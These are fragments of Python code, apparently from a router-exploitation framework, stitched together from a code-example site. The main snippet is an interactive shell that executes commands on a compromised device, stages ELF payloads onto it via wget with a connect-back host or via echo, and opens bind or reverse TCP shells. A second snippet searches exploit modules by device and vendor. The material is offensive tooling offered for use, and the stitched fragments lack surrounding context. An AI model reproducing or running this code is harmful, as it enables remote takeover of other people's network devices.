    print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
    print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
    print_info()

    while True:
        while not printer_queue.empty():
            pass

        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__["name"])

        cmd = input(cmd_str)

        if cmd in ["quit", "exit"]:
            return

        elif cmd == "show payloads":
            if not available_payloads:
                print_error("There are no available payloads for this exploit")
                continue

            print_status("Available payloads:")
            headers = ("Payload", "Name", "Description")
            data = []
            for p in available_payloads.keys():
                data.append((p, available_payloads[p]._Exploit__info__["name"], available_payloads[p]._Exploit__info__["description"]))

            print_table(headers, *data)

        elif cmd.startswith("set payload "):
            if not available_payloads:
                print_error("There are no available payloads for this exploit")
                continue

            c = cmd.split(" ")

            if c[2] in available_payloads.keys():
                payload = available_payloads[c[2]]()

                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([option, getattr(payload, option), payload.exploit_attributes[option][1]])

                if payload.handler == "bind_tcp":
                    options.append(["rhost", exploit.target, "Target IP address"])

                    if method == "wget":
                        options.append(["lhost", "", "Connect-back IP address for wget"])
                        options.append(["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")

        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")

                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()

            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(c[1]))
                                break

                            option[1] = c[2]
                            print_info("{} => {}".format(c[1], c[2]))

            elif cmd == "run":
                data = payload.generate()

                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    if communication.wget() is False:
                        print_error("Exploit failed to transfer payload")
                        continue

                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    communication.echo()

                elif method == "cmd":
                    params["exec_binary"] = data
                    communication = Communication(exploit, "", options, **params)

                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()

            elif cmd == "back":
                payload = None

        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))
Пример #57
0
 def wrapper(self, *args, **kwargs):
     if not self.current_module:
         print_error("You have to activate any module with 'use' command.")
         return
     return fn(self, *args, **kwargs)
Пример #58
0
    def command_search(self, *args, **kwargs):
        mod_type = ''
        mod_detail = ''
        mod_vendor = ''
        existing_modules = [
            name for _, name, _ in pkgutil.iter_modules([MODULES_DIR])
        ]
        devices = [
            name for _, name, _ in pkgutil.iter_modules(
                [os.path.join(MODULES_DIR, 'exploits')])
        ]
        languages = [
            name for _, name, _ in pkgutil.iter_modules(
                [os.path.join(MODULES_DIR, 'encoders')])
        ]
        payloads = [
            name for _, name, _ in pkgutil.iter_modules(
                [os.path.join(MODULES_DIR, 'payloads')])
        ]

        try:
            keyword = args[0].strip("'\"").lower()
        except IndexError:
            keyword = ''

        if not (len(keyword) or len(kwargs.keys())):
            print_error(
                "Please specify at least search keyword. e.g. 'search cisco'")
            print_error(
                "You can specify options. e.g. 'search type=exploits device=routers vendor=linksys WRT100 rce'"
            )
            return

        for (key, value) in kwargs.items():
            if key == 'type':
                if value not in existing_modules:
                    print_error("Unknown module type.")
                    return
                # print_info(' - Type  :\t{}'.format(value))
                mod_type = "{}.".format(value)
            elif key in ['device', 'language', 'payload']:
                if key == 'device' and (value not in devices):
                    print_error("Unknown exploit type.")
                    return
                elif key == 'language' and (value not in languages):
                    print_error("Unknown encoder language.")
                    return
                elif key == 'payload' and (value not in payloads):
                    print_error("Unknown payload type.")
                    return
                # print_info(' - {}:\t{}'.format(key.capitalize(), value))
                mod_detail = ".{}.".format(value)
            elif key == 'vendor':
                # print_info(' - Vendor:\t{}'.format(value))
                mod_vendor = ".{}.".format(value)

        for module in self.modules:
            if mod_type not in str(module):
                continue
            if mod_detail not in str(module):
                continue
            if mod_vendor not in str(module):
                continue
            if not all(word in str(module) for word in keyword.split()):
                continue

            found = humanize_path(module)

            if len(keyword):
                for word in keyword.split():
                    found = found.replace(word,
                                          "\033[31m{}\033[0m".format(word))

            print_info(found)